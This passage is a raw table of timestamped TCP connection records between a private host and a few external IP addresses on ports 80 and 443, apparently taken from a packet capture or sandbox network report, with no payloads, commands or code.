Oct 31, 2024 04:16:17.529383898 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529393911 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529401064 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529412031 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529454947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529465914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529475927 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529489040 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529500008 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529505968 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529512882 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529526949 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529541016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529567957 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529584885 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529642105 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529743910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529783010 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.529937029 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529948950 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529959917 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529972076 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529983044 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.529983044 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530018091 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530077934 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530088902 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530100107 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530109882 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530123949 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530133963 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530134916 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530153990 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530186892 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530221939 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530235052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530246973 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530257940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530266047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530277967 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530287027 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530323982 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530406952 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530421019 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530432940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530443907 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530455112 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530457973 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530467987 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530488014 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530505896 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530531883 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530543089 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530555010 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530566931 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530594110 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530718088 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530760050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530761003 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530771971 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530785084 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530797005 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530800104 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530836105 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530854940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530878067 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530889034 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530900002 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.530921936 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.530947924 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531029940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531043053 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531080961 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531213045 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531225920 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531235933 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531248093 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531259060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531264067 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531269073 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531291008 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531299114 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531302929 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531322002 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531332970 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531339884 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531349897 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531358004 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531368017 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531372070 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531390905 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531400919 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531455994 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531466961 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531497955 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531513929 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531630039 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531641960 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531652927 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531663895 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531677961 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531696081 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531738997 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531758070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531769037 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531796932 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531796932 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531810999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531821966 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531831980 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531845093 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531847000 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531857014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531872034 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531898975 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531907082 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:17.531918049 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:17.531960011 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:18.217968941 CET	443	49868	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:18.218080044 CET	443	49868	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:18.218132973 CET	49868	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:18.218240023 CET	49868	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:18.218250990 CET	443	49868	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:18.608995914 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:18.609077930 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:18.609163046 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:18.609915018 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:18.609958887 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:19.349772930 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:19.349837065 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:19.351572990 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:19.351603985 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:19.351849079 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:19.352948904 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:19.353104115 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:19.353151083 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:19.353214025 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:19.353230953 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:19.924022913 CET	49842	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:19.924366951 CET	49884	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:19.929439068 CET	80	49842	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:19.929526091 CET	49842	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:19.929656029 CET	80	49884	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:19.929722071 CET	49884	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:19.929894924 CET	49884	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:19.935931921 CET	80	49884	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:20.003982067 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:20.004074097 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:20.004143953 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:20.150665998 CET	49878	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:20.150717974 CET	443	49878	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:20.521745920 CET	49890	80	192.168.2.4	185.215.113.206
Oct 31, 2024 04:16:20.527333021 CET	80	49890	185.215.113.206	192.168.2.4
Oct 31, 2024 04:16:20.527421951 CET	49890	80	192.168.2.4	185.215.113.206
Oct 31, 2024 04:16:20.527553082 CET	49890	80	192.168.2.4	185.215.113.206
Oct 31, 2024 04:16:20.532288074 CET	80	49890	185.215.113.206	192.168.2.4
Oct 31, 2024 04:16:21.017693043 CET	80	49884	185.215.113.43	192.168.2.4
Oct 31, 2024 04:16:21.017771006 CET	49884	80	192.168.2.4	185.215.113.43
Oct 31, 2024 04:16:21.021727085 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.021986008 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.027605057 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.027631044 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.027683020 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.027731895 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.027930021 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.032713890 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.189963102 CET	49893	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:21.189985991 CET	443	49893	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:21.190073013 CET	49893	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:21.190316916 CET	49893	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:21.190330982 CET	443	49893	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:21.443391085 CET	80	49890	185.215.113.206	192.168.2.4
Oct 31, 2024 04:16:21.443453074 CET	49890	80	192.168.2.4	185.215.113.206
Oct 31, 2024 04:16:21.445847988 CET	49890	80	192.168.2.4	185.215.113.206
Oct 31, 2024 04:16:21.451338053 CET	80	49890	185.215.113.206	192.168.2.4
Oct 31, 2024 04:16:21.733135939 CET	80	49890	185.215.113.206	192.168.2.4
Oct 31, 2024 04:16:21.733201027 CET	49890	80	192.168.2.4	185.215.113.206
Oct 31, 2024 04:16:21.811451912 CET	443	49893	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:21.811520100 CET	49893	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:21.812884092 CET	49893	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:21.812890053 CET	443	49893	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:21.813261032 CET	443	49893	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:21.814512968 CET	49893	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:21.814625025 CET	49893	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:21.814630032 CET	443	49893	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:21.963938951 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.963959932 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.964030027 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.964051962 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.964066029 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.964082956 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.964098930 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.964108944 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.964128017 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.964140892 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.964221954 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.964237928 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.964253902 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.964270115 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.964286089 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.964298010 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.964344025 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.970807076 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.970871925 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:21.970964909 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:21.971007109 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.124068022 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124113083 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124129057 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124133110 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.124166012 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.124166012 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124176979 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.124185085 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124224901 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.124486923 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124501944 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124525070 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124540091 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.124540091 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124557972 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.124571085 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.124598026 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.125215054 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.125230074 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.125245094 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.125283957 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.125288963 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.125302076 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.125305891 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.125329018 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.125343084 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.126039982 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.126055002 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.126071930 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.126095057 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.126125097 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.126136065 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.126168013 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.126209021 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.126921892 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.126981020 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.126988888 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.127120018 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.128978014 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.129028082 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.134447098 CET	443	49893	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:22.134551048 CET	443	49893	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:22.134645939 CET	49893	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:22.134816885 CET	49893	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:22.134821892 CET	443	49893	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:22.286243916 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286273956 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286294937 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.286322117 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.286403894 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286586046 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286617041 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286633968 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286652088 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286660910 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.286700964 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.286732912 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286797047 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.286906004 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286923885 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286940098 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.286955118 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.286967039 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.286984921 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287017107 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287131071 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287180901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287195921 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287220955 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287231922 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287338972 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287353039 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287389994 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287478924 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287494898 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287511110 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287528038 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287537098 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287553072 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287584066 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287805080 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287843943 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287859917 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287874937 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287895918 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.287897110 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287929058 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287946939 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.287966967 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288132906 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288147926 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288162947 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288172960 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288178921 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288196087 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288196087 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288213968 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288239002 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288491964 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288642883 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288660049 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288675070 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288686991 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288691044 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288707972 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288722038 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288734913 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288764954 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288765907 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288781881 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288799047 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288803101 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288836956 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288839102 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288856030 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288872004 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288876057 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288889885 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288899899 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288903952 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.288916111 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288933992 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.288947105 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.291289091 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.291306019 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.291346073 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.291563034 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.291578054 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.291601896 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.291616917 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.291620016 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.291632891 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.291655064 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.291696072 CET	49891	80	192.168.2.4	185.215.113.16
